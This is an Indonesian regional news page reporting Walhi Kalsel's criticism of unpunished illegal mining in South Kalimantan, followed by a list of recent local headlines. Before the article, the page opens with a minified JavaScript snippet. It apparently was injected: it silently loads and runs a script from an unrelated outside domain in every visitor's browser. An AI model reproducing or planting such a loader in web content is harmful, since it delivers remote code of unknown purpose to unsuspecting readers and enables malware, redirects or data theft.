(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Direktur Eksekutif Walhi Kalsel: Tambang Ilegal Maling Terang-terangan!


KANALKALIMANTAN.COM, BANJARBARU — Aktivitas tambang ilegal di Kalimantan Selatan (Kalsel) menuai perhatian dari Wahana Lingkungan Hidup (Walhi) Kalsel.

Direktur Eksekutif Walhi Kalsel, Raden Rafiq SFW menyebut praktik ini sebagai maling terang-terangan. Lantaran tambang ilegal tersebut dibiarkan tanpa dilakukan penindakan oleh pemangku kebijakan maupun aparat penegak hukum.

Raden menilai, peran aparat penegak hukum dalam memberantas tambang ilegal di Kalsel sangat penting.

“Kalau memang mau serius turun untuk melakukan penindakan terhadap pelanggaran lingkungan. Ya jelas harus ditindak,” ujarnya, Senin (22/12/2025).

Baca juga: Catatan Akhir Tahun Walhi Kalsel: ‘Kiamat Ekologis’ dari Deforestasi dan Alih Fungsi Hutan

Walhi Kalsel telah berulang kali melaporkan masalah ini ke Pemerintah Provinsi Kalsel melalui Dinas Lingkungan Hidup Provisi Kalsel. Namun, jawabannya sama yakni dinas terkait hanya mampu menindak lokasi yang berizin.

Lokasi yang tidak berizin akan tetap diakomodir dengan syarat membuat laporan kepada aparat penegak hukum.

Dia mendesak pemerintah daerah maupun aparat penegak hukum untuk menegaskan kebijakan dalam hal pelanggaran lingkungan.

“Jangan sampai pemerintah kita bisa dikontrol oleh para investor. Karena seharusnya investor yang mengikuti aturan pemerintah,” tegas Raden.

Baca juga: ‘Bazakat Hadangan’ Warga Desa Bararawa, Wujud Syukur atas Hasil Ternak Berlimpah

Selain Walhi Kalsel, masyarakat juga banyak melayangkan laporan ke pihak terkait. Sayangnya, tindak lanjut belum tuntas sampai sekarang.

Walhi Kalsel menekankan, industri ekstraktif mesti dibersihkan lantaran kerusakan yang dibuatnya benar-benar nyata.

“Beralihlah dari sumber daya energi fosil menjadi energi terbarukan yang adil buat masyarakat dan bisa berkelanjutan,” ungkap Raden.

Di sisi lain, partisipasi masyarakat terutama yang terdampak dalam pengambilan keputusan dari pemerintah dalam aspek lingkungan juga perlu ditingkatkan.

Lebih jauh, ahli lingkungan perlu dilibatkan dalam hal izin pertambangan karena masukan dan saran sangat penting. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

45 detik ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

6 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

20 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

22 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

This website uses cookies.